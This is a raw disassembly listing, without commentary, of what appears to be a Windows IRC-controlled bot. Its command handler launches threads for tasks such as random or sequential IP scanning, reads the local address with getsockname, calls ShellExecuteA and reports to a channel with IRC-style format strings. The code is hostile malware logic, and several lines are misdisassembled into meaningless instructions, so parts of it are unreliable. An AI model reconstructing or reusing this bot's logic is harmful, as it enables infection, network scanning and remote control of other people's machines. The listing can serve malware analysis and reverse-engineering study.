push offset aOpen ; "open"
push ebx
call dword_4D115C ; ShellExecuteA
push dword ptr [ebp+18h]
test eax, eax
push esi
jz short loc_407389
push offset unk_43146C
jmp short loc_40738E
; ---------------------------------------------------------------------------
loc_407389: ; CODE XREF: .nsp0:00407380j
push offset unk_43143C
loc_40738E: ; CODE XREF: .nsp0:00407387j
call sub_41BF36
add esp, 0Ch
cmp [ebp-8], ebx
jnz short loc_4073B7
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
add esp, 14h
loc_4073B7: ; CODE XREF: .nsp0:00407399j
lea eax, [ebp-2C0h]
push eax
call sub_4157A6
loc_4073C3: ; CODE XREF: .nsp0:004073E8j
lea eax, [ebp-2E58h]
push 4
push eax
call sub_416F11
add esp, 0Ch
test eax, eax
jz loc_401D6C
lea eax, [ebp-2E58h]
push eax
call sub_41C475
jmp short loc_4073C3
; ---------------------------------------------------------------------------
loc_4073EA: ; CODE XREF: .nsp0:0040723Cj
push dword ptr [ebp+18h]
call sub_41BE29
push edi
mov [ebp-370h], eax
call sub_41BE29
push dword ptr [ebp+8]
mov [ebp-358h], eax
call sub_41BE29
add esp, 0Ch
cmp eax, 5
mov [ebp-36Ch], eax
jnb short loc_407423
push 5
pop eax
mov [ebp-36Ch], eax
loc_407423: ; CODE XREF: .nsp0:00407418j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_407430
mov [ebp-36Ch], ecx
loc_407430: ; CODE XREF: .nsp0:00407428j
push dword ptr [ebp+20h]
call sub_41BE29
mov [ebp-368h], eax
mov eax, 320h
cmp [ebp-368h], eax
pop ecx
jbe short loc_407452
mov [ebp-368h], eax
loc_407452: ; CODE XREF: .nsp0:0040744Aj
or dword ptr [ebp-354h], 0FFFFFFFFh
cmp dword_438048, ebx
mov [ebp+24h], ebx
jz short loc_4074A1
mov edi, offset dword_438048
loc_407469: ; CODE XREF: .nsp0:00407483j
push dword ptr [ebp+18h]
lea eax, [edi-28h]
push eax
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz short loc_407487
inc dword ptr [ebp+24h]
add edi, 40h
cmp [edi], ebx
jnz short loc_407469
jmp short loc_4074A1
; ---------------------------------------------------------------------------
loc_407487: ; CODE XREF: .nsp0:00407479j
mov eax, [ebp+24h]
mov ecx, eax
mov [ebp-354h], eax
shl ecx, 6
mov ecx, dword_438048[ecx]
mov [ebp-370h], ecx
loc_4074A1: ; CODE XREF: .nsp0:00407462j
; .nsp0:00407485j
cmp [ebp-370h], ebx
jnz short loc_4074B3
push offset unk_431408
jmp loc_406E94
; ---------------------------------------------------------------------------
loc_4074B3: ; CODE XREF: .nsp0:004074A7j
mov edi, [ebp+esi-7Ch]
cmp edi, ebx
mov [ebp+8], edi
jz short loc_4074EE
cmp byte ptr [edi], 23h
jz short loc_4074EE
push edi
lea eax, [ebp-484h]
push 10h
push eax
call sub_41C030
push 78h
push edi
call sub_41C650
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp-344h], eax
jmp loc_4075C8
; ---------------------------------------------------------------------------
loc_4074EE: ; CODE XREF: .nsp0:004074BCj
; .nsp0:004074C1j
cmp [ebp-8FFh], bl
jnz short loc_407510
cmp [ebp-8FEh], bl
jnz short loc_407510
cmp [ebp-8EEh], bl
jnz short loc_407510
push offset unk_4313D4
jmp loc_406E94
; ---------------------------------------------------------------------------
loc_407510: ; CODE XREF: .nsp0:004074F4j
; .nsp0:004074FCj ...
push 10h
lea eax, [ebp-2D8h]
pop edi
push eax
lea eax, [ebp-2F8h]
push eax
mov [ebp-2D8h], edi
push dword ptr [ebp+0Ch]
call dword_4D1194 ; getsockname
mov al, [ebp-8FFh]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp-2F4h], eax
push dword ptr [ebp-2F4h]
call dword_4D127C ; inet_ntoa
push eax
lea eax, [ebp-484h]
push eax
call sub_41BCA0
add esp, 0Ch
cmp [ebp-8EEh], bl
jz short loc_4075C2
xor eax, eax
cmp [ebp-8FFh], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp-484h]
push eax
call sub_41C4E0
pop ecx
cmp edi, ebx
pop ecx
mov [ebp+2Fh], bl
jle short loc_4075B6
loc_407594: ; CODE XREF: .nsp0:004075B4j
cmp eax, ebx
jz short loc_4075B6
mov byte ptr [eax], 78h
lea eax, [ebp-484h]
push 30h
push eax
call sub_41C4E0
inc byte ptr [ebp+2Fh]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+2Fh]
cmp ecx, edi
jl short loc_407594
loc_4075B6: ; CODE XREF: .nsp0:00407592j
; .nsp0:00407596j
mov dword ptr [ebp-344h], 1
jmp short loc_4075C8
; ---------------------------------------------------------------------------
loc_4075C2: ; CODE XREF: .nsp0:0040756Cj
mov [ebp-344h], ebx
loc_4075C8: ; CODE XREF: .nsp0:004074E9j
; .nsp0:004075C0j
mov eax, [ebp+0Ch]
push dword ptr [ebp-88h]
mov [ebp-374h], eax
mov eax, [ebp-4]
mov [ebp-34Ch], eax
mov eax, [ebp-8]
mov [ebp-348h], eax
mov edi, 80h
lea eax, [ebp-474h]
push edi
push eax
call sub_41C030
mov esi, [ebp+esi-78h]
add esp, 0Ch
cmp esi, ebx
jz short loc_407619
loc_407606: ; CODE XREF: .nsp0:0040763Cj
push esi
loc_407607: ; CODE XREF: .nsp0:00407626j
lea eax, [ebp-3F4h]
push edi
push eax
call sub_41C030
add esp, 0Ch
jmp short loc_407644
; ---------------------------------------------------------------------------
loc_407619: ; CODE XREF: .nsp0:00407604j
mov eax, [ebp+8]
cmp eax, ebx
jz short loc_407628
cmp byte ptr [eax], 23h
jnz short loc_407628
push eax
jmp short loc_407607
; ---------------------------------------------------------------------------
loc_407628: ; CODE XREF: .nsp0:0040761Ej
; .nsp0:00407623j
mov esi, offset aO1_0 ; "#o1"
push offset byte_443398
push esi
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_407606
mov [ebp-3F4h], bl
loc_407644: ; CODE XREF: .nsp0:00407617j
cmp [ebp-344h], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_407656
mov eax, offset aSequential ; "Sequential"
loc_407656: ; CODE XREF: .nsp0:0040764Fj
push dword ptr [ebp-358h]
lea ecx, [ebp-484h]
push dword ptr [ebp-368h]
push dword ptr [ebp-36Ch]
push dword ptr [ebp-370h]
push ecx
push eax
lea eax, [ebp-2C0h]
push offset unk_43136C
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push 0Bh
push eax
call sub_40B00E
add esp, 2Ch
mov [ebp-364h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-484h]
push ebx
push eax
push (offset loc_40C247+1)
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-364h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_4076E4
loc_4076CE: ; CODE XREF: .nsp0:004076E2j
cmp [ebp-340h], ebx
jnz loc_40820E
push 32h
call dword_427064 ; Sleep
jmp short loc_4076CE
; ---------------------------------------------------------------------------
loc_4076E4: ; CODE XREF: .nsp0:004076CCj
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_431334
jmp loc_406E7B
; ---------------------------------------------------------------------------
loc_4076F5: ; CODE XREF: .nsp0:004069BEj
; .nsp0:004069D5j
push dword ptr [ebp+18h]
call sub_40AA54
push edi
mov [ebp-4E0h], eax
call sub_41BE29
push dword ptr [ebp+8]
mov [ebp-4F0h], eax
call sub_41BE29
push dword ptr [ebp+20h]
mov [ebp-4ECh], eax
call sub_41BE29
mov esi, [ebp+0Ch]
push 7Fh
push dword ptr [ebp-88h]
mov [ebp-4E8h], eax
lea eax, [ebp-570h]
mov [ebp-574h], esi
push eax
call sub_41BCA0
add esp, 1Ch
mov edi, [ebp-4]
mov eax, [ebp-8]
mov [ebp-4D8h], edi
push dword ptr [ebp-4ECh]
mov [ebp-4D4h], eax
push dword ptr [ebp-4F0h]
push dword ptr [ebp-4E8h]
push dword ptr [ebp-4E0h]
call dword_4D127C ; inet_ntoa
push eax
lea eax, [ebp-2C0h]
push offset unk_4312E4
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push 0Bh
push eax
call sub_40B00E
add esp, 24h
mov [ebp-4E4h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-574h]
push ebx
push eax
push offset sub_40C665
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-4E4h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_4077EA
loc_4077D4: ; CODE XREF: .nsp0:004077E8j
cmp [ebp-4D0h], ebx
jnz loc_403ED6
push 32h
call dword_427064 ; Sleep
jmp short loc_4077D4
; ---------------------------------------------------------------------------
loc_4077EA: ; CODE XREF: .nsp0:004077D2j
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_4312A8
jmp loc_403EC7
; ---------------------------------------------------------------------------
loc_4077FB: ; CODE XREF: .nsp0:00406981j
; .nsp0:00406998j
push dword ptr [ebp+18h]
call sub_41BE29
imul eax, 234h
pop ecx
cmp byte_444138[eax], bl
jz loc_4097B8
cmp [ebp-0Ch], ebx
jz loc_4097B8
push edi
call sub_41B890
push dword ptr [ebp+18h]
mov esi, eax
call sub_41B890
push dword ptr [ebp+10h]
add esi, eax
call sub_41B890
add eax, [ebp-0Ch]
push dword ptr [ebp+8]
lea eax, [eax+esi+2]
push eax
call sub_41BFB0
mov esi, eax
lea eax, [ebp-2C0h]
push esi
push offset dword_43129C
push eax
call sub_41BF36
add esp, 20h
cmp esi, ebx
jz loc_4097B8
push dword ptr [ebp+18h]
call sub_41BE29
test eax, eax
pop ecx
jle loc_4097B8
push dword ptr [ebp+18h]
call sub_41BE29
cmp eax, 400h
pop ecx
jge loc_4097B8
push ebx
lea eax, [ebp-2C0h]
push ebx
push eax
push edi
push dword ptr [ebp+18h]
call sub_41BE29
imul eax, 234h
pop ecx
push dword_44412C[eax]
call sub_4099D2
push dword ptr [ebp+18h]
call sub_41BE29
imul eax, 234h
add esp, 18h
cmp byte ptr dword_443F20[eax], 73h
jnz loc_4097B8
push esi
push dword ptr [ebp+18h]
call sub_41BE29
imul eax, 234h
pop ecx
add eax, offset byte_444138
push eax
push edi
push offset aSSS_2 ; "[%s] * %s %s"
loc_4078EB: ; CODE XREF: .nsp0:004079EDj
lea eax, [ebp-2C0h]
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
jmp loc_4040A4
; ---------------------------------------------------------------------------
loc_407915: ; CODE XREF: .nsp0:00406953j
; .nsp0:0040696Aj
push dword ptr [ebp+18h]
call sub_41BE29
imul eax, 234h
pop ecx
cmp byte_444138[eax], bl
jz loc_4097B8
cmp [ebp-0Ch], ebx
jz loc_4097B8
push edi
call sub_41B890
push dword ptr [ebp+18h]
mov esi, eax
call sub_41B890
push dword ptr [ebp+10h]
add esi, eax
call sub_41B890
add eax, [ebp-0Ch]
push dword ptr [ebp+8]
lea eax, [eax+esi+2]
push eax
call sub_41BFB0
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_4097B8
push dword ptr [ebp+18h]
call sub_41BE29
test eax, eax
pop ecx
jle loc_4097B8
push dword ptr [ebp+18h]
call sub_41BE29
cmp eax, 400h
pop ecx
jge loc_4097B8
push ebx
push ebx
push esi
push edi
push dword ptr [ebp+18h]
call sub_41BE29
imul eax, 234h
pop ecx
push dword_44412C[eax]
call sub_4099D2
push dword ptr [ebp+18h]
call sub_41BE29
imul eax, 234h
add esp, 18h
cmp byte ptr dword_443F20[eax], 73h
jnz loc_4097B8
push esi
push dword ptr [ebp+18h]
call sub_41BE29
imul eax, 234h
pop ecx
add eax, offset byte_444138
push eax
push edi
push offset aSSS_1 ; "[%s] <%s> %s"
jmp loc_4078EB
; ---------------------------------------------------------------------------
loc_4079F2: ; CODE XREF: .nsp0:00406925j
; .nsp0:0040693Cj
push dword ptr [ebp+18h]
call dword_4D1230 ; inet_addr
push edi
mov [ebp-680h], eax
call sub_41BE29
push dword ptr [ebp+8]
mov [ebp-690h], eax
call sub_41BE29
mov esi, [ebp+0Ch]
push 7Fh
push dword ptr [ebp-88h]
mov [ebp-688h], eax
lea eax, [ebp-710h]
mov [ebp-714h], esi
push eax
call sub_41BCA0
add esp, 14h
mov edi, [ebp-4]
mov eax, [ebp-8]
mov [ebp-678h], edi
push dword ptr [ebp-688h]
mov [ebp-674h], eax
push dword ptr [ebp-690h]
push dword ptr [ebp-680h]
call dword_4D127C ; inet_ntoa
push eax
lea eax, [ebp-2C0h]
push offset unk_431240
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push 0Bh
push eax
call sub_40B00E
add esp, 20h
mov [ebp-684h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-714h]
push ebx
push eax
push offset sub_40C574
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-684h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_407AD4
loc_407ABE: ; CODE XREF: .nsp0:00407AD2j
cmp [ebp-670h], ebx
jnz loc_403ED6
push 32h
call dword_427064 ; Sleep
jmp short loc_407ABE
; ---------------------------------------------------------------------------
loc_407AD4: ; CODE XREF: .nsp0:00407ABCj
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_431334
jmp loc_403EC7
; ---------------------------------------------------------------------------
loc_407AE5: ; CODE XREF: .nsp0:004068F7j
; .nsp0:0040690Ej
push dword ptr [ebp+18h]
call sub_41BE29
mov [ebp-112Ch], eax
push 7Fh
lea eax, [ebp-1230h]
push edi
push eax
call sub_41BCA0
push dword ptr [ebp+8]
call sub_41BE29
push dword ptr [ebp-88h]
mov esi, [ebp+0Ch]
mov [ebp-1130h], eax
lea eax, [ebp-11B0h]
push 80h
push eax
mov [ebp-1238h], esi
call sub_41C030
mov eax, [ebp-8]
add esp, 20h
mov edi, [ebp-4]
mov [ebp-111Ch], eax
push dword ptr [ebp-1130h]
lea eax, [ebp-1230h]
mov [ebp-1120h], edi
push eax
push dword ptr [ebp-112Ch]
push esi
call sub_40AB6A
pop ecx
push eax
lea eax, [ebp-2C0h]
push offset unk_431204
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push 18h
push eax
call sub_40B00E
add esp, 24h
mov [ebp-1128h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-1238h]
push ebx
push eax
push offset sub_4109AC
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-1128h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_407BCE
loc_407BB8: ; CODE XREF: .nsp0:00407BCCj
cmp [ebp-1118h], ebx
jnz loc_403ED6
push 32h
call dword_427064 ; Sleep
jmp short loc_407BB8
; ---------------------------------------------------------------------------
loc_407BCE: ; CODE XREF: .nsp0:00407BB6j
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_4311C0
jmp loc_403EC7
; ---------------------------------------------------------------------------
loc_407BDF: ; CODE XREF: .nsp0:004068C9j
; .nsp0:004068E0j
push 0FFh
lea eax, [ebp-2878h]
push dword ptr [ebp+18h]
push eax
call sub_41BCA0
push 0FFh
lea eax, [ebp-2778h]
push edi
push eax
call sub_41BCA0
push dword ptr [ebp+8]
mov [ebp-2674h], ebx
call sub_41BE29
mov [ebp-2670h], eax
mov eax, [ebp+esi-80h]
add esp, 1Ch
cmp eax, ebx
jz short loc_407C38
push 10h
push ebx
push eax
call sub_41C45E
add esp, 0Ch
mov [ebp-2668h], eax
jmp short loc_407C3E
; ---------------------------------------------------------------------------
loc_407C38: ; CODE XREF: .nsp0:00407C22j
mov [ebp-2668h], ebx
loc_407C3E: ; CODE XREF: .nsp0:00407C36j
mov esi, [ebp+esi-7Ch]
cmp esi, ebx
jz short loc_407C55
push esi
call sub_41BE29
pop ecx
mov [ebp-266Ch], eax
jmp short loc_407C5B
; ---------------------------------------------------------------------------
loc_407C55: ; CODE XREF: .nsp0:00407C44j
mov [ebp-266Ch], ebx
loc_407C5B: ; CODE XREF: .nsp0:00407C53j
movzx eax, byte ptr [ebp-8FBh]
mov esi, [ebp+0Ch]
push 7Fh
push dword ptr [ebp-88h]
mov [ebp-2664h], eax
lea eax, [ebp-28F8h]
mov [ebp-28FCh], esi
push eax
call sub_41BCA0
mov eax, [ebp-4]
push edi
push dword ptr [ebp+18h]
mov [ebp-265Ch], eax
mov eax, [ebp-8]
mov [ebp-2660h], eax
lea eax, [ebp-2C0h]
push offset unk_431194
push eax
call sub_41BF36
push esi
lea eax, [ebp-2C0h]
push 1Dh
push eax
call sub_40B00E
add esp, 28h
mov [ebp-2678h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-28FCh]
push ebx
push eax
push (offset loc_416A01+1)
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-2678h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_407D09
loc_407CF3: ; CODE XREF: .nsp0:00407D07j
cmp [ebp-2658h], ebx
jnz loc_407202
push 32h
call dword_427064 ; Sleep
jmp short loc_407CF3
; ---------------------------------------------------------------------------
loc_407D09: ; CODE XREF: .nsp0:00407CF1j
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_431154
jmp loc_4071F3
; ---------------------------------------------------------------------------
loc_407D1A: ; CODE XREF: .nsp0:0040689Bj
; .nsp0:004068B2j
push 7Fh
lea eax, [ebp-3490h]
pop esi
push esi
push dword ptr [ebp+18h]
push eax
call sub_41BCA0
push esi
lea eax, [ebp-3410h]
push edi
push eax
call sub_41BCA0
push esi
lea eax, [ebp-3390h]
push dword ptr [ebp+8]
push eax
call sub_41BCA0
push esi
lea eax, [ebp-3310h]
push dword ptr [ebp-88h]
push eax
call sub_41BCA0
push dword ptr [ebp+8]
mov eax, [ebp-4]
mov esi, [ebp+0Ch]
mov [ebp-328Ch], eax
mov eax, [ebp-8]
push edi
push dword ptr [ebp+18h]
mov [ebp-3288h], eax
lea eax, [ebp-2C0h]
mov [ebp-3494h], esi
push offset unk_431118
push eax
call sub_41BF36
add esp, 44h
lea eax, [ebp-2C0h]
push ebx
push 12h
push eax
call sub_40B00E
add esp, 0Ch
mov [ebp-3290h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-3494h]
push ebx
push eax
push offset word_41508E
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-3290h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_407DF1
loc_407DDB: ; CODE XREF: .nsp0:00407DEFj
cmp [ebp-3284h], ebx
jnz loc_407202
push 32h
call dword_427064 ; Sleep
jmp short loc_407DDB
; ---------------------------------------------------------------------------
loc_407DF1: ; CODE XREF: .nsp0:00407DD9j
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_4310E0
jmp loc_4071F3
; ---------------------------------------------------------------------------
loc_407E02: ; CODE XREF: .nsp0:0040676Ej
; .nsp0:00406785j
push 7Fh
lea eax, [ebp-3068h]
pop esi
push esi
push dword ptr [ebp+18h]
push eax
call sub_41BCA0
push esi
lea eax, [ebp-2FE8h]
push edi
push eax
call sub_41BCA0
push esi
lea eax, [ebp-2F68h]
push dword ptr [ebp+8]
push eax
call sub_41BCA0
push esi
lea eax, [ebp-2EE8h]
push dword ptr [ebp-88h]
push eax
call sub_41BCA0
push dword ptr [ebp+8]
mov eax, [ebp-4]
mov esi, [ebp+0Ch]
mov [ebp-2E64h], eax
mov eax, [ebp-8]
push edi
push dword ptr [ebp+18h]
mov [ebp-2E60h], eax
lea eax, [ebp-2C0h]
mov [ebp-306Ch], esi
push offset unk_4310B0
push eax
call sub_41BF36
add esp, 44h
lea eax, [ebp-2C0h]
push ebx
push 0Eh
push eax
call sub_40B00E
add esp, 0Ch
mov [ebp-2E68h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-306Ch]
push ebx
push eax
push offset dword_413DC8
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-2E68h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_407ED9
loc_407EC3: ; CODE XREF: .nsp0:00407ED7j
cmp [ebp-2E5Ch], ebx
jnz loc_407202
push 32h
call dword_427064 ; Sleep
jmp short loc_407EC3
; ---------------------------------------------------------------------------
loc_407ED9: ; CODE XREF: .nsp0:00407EC1j
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_431078
jmp loc_4071F3
; ---------------------------------------------------------------------------
loc_407EEA: ; CODE XREF: .nsp0:00406645j
; .nsp0:0040665Cj ...
push 7Fh
lea eax, [ebp-3CE4h]
pop esi
push esi
push dword ptr [ebp+18h]
push eax
call sub_41BCA0
push esi
lea eax, [ebp-3C64h]
push edi
push eax
call sub_41BCA0
push esi
lea eax, [ebp-3BE4h]
push dword ptr [ebp+8]
push eax
call sub_41BCA0
push esi
lea eax, [ebp-3B64h]
push dword ptr [ebp-88h]
push eax
call sub_41BCA0
push 20h
lea eax, [ebp-3AE4h]
push dword ptr [ebp+10h]
push eax
call sub_41BCA0
push dword ptr [ebp+8]
mov eax, [ebp-4]
mov esi, [ebp+0Ch]
mov [ebp-3A64h], eax
mov eax, [ebp-8]
push edi
push dword ptr [ebp+18h]
mov [ebp-3A60h], eax
lea eax, [ebp-2C0h]
mov [ebp-3CECh], esi
push offset unk_431048
push eax
call sub_41BF36
add esp, 50h
lea eax, [ebp-2C0h]
push ebx
push 0Dh
push eax
call sub_40B00E
add esp, 0Ch
mov [ebp-3CE8h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-3CECh]
push ebx
push eax
push offset byte_413055
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-3CE8h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_407FD2
loc_407FBC: ; CODE XREF: .nsp0:00407FD0j
cmp [ebp-3A5Ch], ebx
jnz loc_407202
push 32h
call dword_427064 ; Sleep
jmp short loc_407FBC
; ---------------------------------------------------------------------------
loc_407FD2: ; CODE XREF: .nsp0:00407FBAj
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_431010
jmp loc_4071F3
; ---------------------------------------------------------------------------
loc_407FE3: ; CODE XREF: .nsp0:00406617j
; .nsp0:0040662Ej
push 7Fh
lea eax, [ebp-1778h]
push dword ptr [ebp+18h]
push eax
call sub_41BCA0
push edi
call sub_41BE29
push 3Fh
mov [ebp-1628h], eax
push dword ptr [ebp+8]
lea eax, [ebp-16F8h]
push eax
call sub_41BCA0
mov esi, [ebp+esi-80h]
add esp, 1Ch
cmp esi, ebx
jz short loc_40802E
push 3Fh
lea eax, [ebp-16B8h]
push esi
push eax
call sub_41BCA0
add esp, 0Ch
loc_40802E: ; CODE XREF: .nsp0:0040801Aj
lea eax, [ebp-16F8h]
mov dword ptr [ebp-1624h], 1
push eax
lea eax, [ebp-1778h]
push dword ptr [ebp-1628h]
push eax
lea eax, [ebp-2C0h]
push offset dword_430FE0
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push 1Fh
push eax
call sub_40B00E
add esp, 20h
mov [ebp-1620h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-177Ch]
push ebx
push eax
push offset sub_4018A1
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-1620h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_4080BA
loc_4080A4: ; CODE XREF: .nsp0:004080B8j
cmp [ebp-161Ch], ebx
jnz loc_406C65
push 32h
call dword_427064 ; Sleep
jmp short loc_4080A4
; ---------------------------------------------------------------------------
loc_4080BA: ; CODE XREF: .nsp0:004080A2j
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset dword_430FA4
jmp loc_406C56
; ---------------------------------------------------------------------------
loc_4080CB: ; CODE XREF: .nsp0:004065D7j
; .nsp0:004065EEj
push edi
call sub_41BE29
cmp eax, ebx
pop ecx
mov [ebp-1D64h], eax
jle loc_4081B8
push dword ptr [ebp+18h]
mov esi, 80h
lea eax, [ebp-1EECh]
push esi
push eax
call sub_41C030
xor eax, eax
cmp [ebp-8EEh], bl
push dword ptr [ebp-88h]
setnz al
mov [ebp-1D60h], eax
mov eax, [ebp+0Ch]
mov [ebp-1EF0h], eax
lea eax, [ebp-1DECh]
push esi
push eax
call sub_41C030
mov eax, [ebp-4]
push edi
push dword ptr [ebp+18h]
mov [ebp-1D5Ch], eax
mov eax, [ebp-8]
mov [ebp-1D58h], eax
push offset unk_430F78
lea eax, [ebp-2C0h]
push 200h
push eax
call sub_41C030
push ebx
lea eax, [ebp-2C0h]
push 15h
push eax
call sub_40B00E
add esp, 38h
mov [ebp-1D6Ch], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-1EF0h]
push ebx
push eax
push offset dword_41349C
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-1D6Ch]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_4081A7
loc_408195: ; CODE XREF: .nsp0:004081A5j
cmp [ebp-1D54h], ebx
jnz short loc_40820E
push 32h
call dword_427064 ; Sleep
jmp short loc_408195
; ---------------------------------------------------------------------------
loc_4081A7: ; CODE XREF: .nsp0:00408193j
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_430F40
jmp loc_406E7B
; ---------------------------------------------------------------------------
loc_4081B8: ; CODE XREF: .nsp0:004080DAj
push offset unk_430F08
jmp loc_406E94
; ---------------------------------------------------------------------------
loc_4081C2: ; CODE XREF: .nsp0:004065A9j
; .nsp0:004065C0j
push edi
push dword ptr [ebp+18h]
call near ptr 0B40000h
adc al, [ebp+571F74C0h]
lea eax, [ebp-2C0h]
push dword ptr [ebp+18h]
push offset unk_430EE4
push 200h
push eax
call sub_41C030
loc_4081EA: ; CODE XREF: .nsp0:004040CEj
add esp, 14h
jmp short loc_40820E
; ---------------------------------------------------------------------------
push offset dword_430ED8
call sub_4188F8
push eax
lea eax, [ebp-2C0h]
push 200h
push eax
call sub_41C030
add esp, 10h
loc_40820E: ; CODE XREF: .nsp0:00403C01j
; .nsp0:004049C3j ...
cmp [ebp-8], ebx
jnz loc_40833C
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
loc_40822B: ; CODE XREF: .nsp0:0040721Dj
call sub_4099D2
add esp, 14h
jmp loc_40833C
; ---------------------------------------------------------------------------
loc_408238: ; CODE XREF: .nsp0:0040657Bj
; .nsp0:00406592j
push dword ptr [ebp+18h]
lea eax, [ebp-3F04h]
push 104h
push eax
call sub_41C030
add esp, 0Ch
cmp [ebp-0Ch], ebx
jz short loc_408272
push edi
push dword ptr [ebp-0Ch]
call sub_41BFB0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_408272
push eax
lea eax, [ebp-3E00h]
push eax
call sub_41BF36
pop ecx
pop ecx
loc_408272: ; CODE XREF: .nsp0:00408252j
; .nsp0:00408261j
push dword ptr [ebp-88h]
lea eax, [ebp-3F84h]
push 80h
push eax
call sub_41C030
mov eax, [ebp+0Ch]
mov [ebp-3F88h], eax
mov eax, [ebp-4]
mov [ebp-3CF8h], eax
mov eax, [ebp-8]
mov [ebp-3CF4h], eax
lea eax, [ebp-3E00h]
push eax
lea eax, [ebp-3F04h]
push eax
push offset unk_430EA8
lea eax, [ebp-2C0h]
push 200h
push eax
call sub_41C030
push ebx
lea eax, [ebp-2C0h]
push 24h
push eax
call sub_40B00E
add esp, 2Ch
mov [ebp-3CFCh], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-3F88h]
push ebx
push eax
push offset byte_4172AD
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-3CFCh]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_408321
loc_40830F: ; CODE XREF: .nsp0:0040831Fj
cmp [ebp-3CF0h], ebx
jnz short loc_40833C
push 32h
call dword_427064 ; Sleep
jmp short loc_40830F
; ---------------------------------------------------------------------------
loc_408321: ; CODE XREF: .nsp0:0040830Dj
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_430E6C
loc_40832D: ; CODE XREF: .nsp0:00402551j
; .nsp0:00402562j ...
lea eax, [ebp-2C0h]
push eax
call sub_41BF36
add esp, 0Ch
loc_40833C: ; CODE XREF: .nsp0:004022E3j
; .nsp0:0040243Dj ...
push 1
pop esi
jmp loc_406C89
; ---------------------------------------------------------------------------
loc_408344: ; CODE XREF: .nsp0:0040654Dj
; .nsp0:00406564j
push 44h
lea eax, [ebp-668h]
pop esi
push esi
push ebx
push eax
call sub_41BC40
push 1
mov [ebp-668h], esi
pop esi
mov [ebp-638h], bx
push dword ptr [ebp+18h]
mov [ebp-63Ch], esi
call sub_41BE29
add esp, 10h
cmp eax, esi
jnz short loc_408383
mov word ptr [ebp-638h], 5
loc_408383: ; CODE XREF: .nsp0:00408378j
cmp [ebp-0Ch], ebx
jz loc_406C65
push edi
push dword ptr [ebp-0Ch]
call sub_41BFB0
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_406C65
lea eax, [ebp-0E10h]
push eax
lea eax, [ebp-668h]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call near ptr 0B40000h
inc eax
test eax, eax
jnz short loc_4083CC
push offset unk_430E48
jmp loc_40854F
; ---------------------------------------------------------------------------
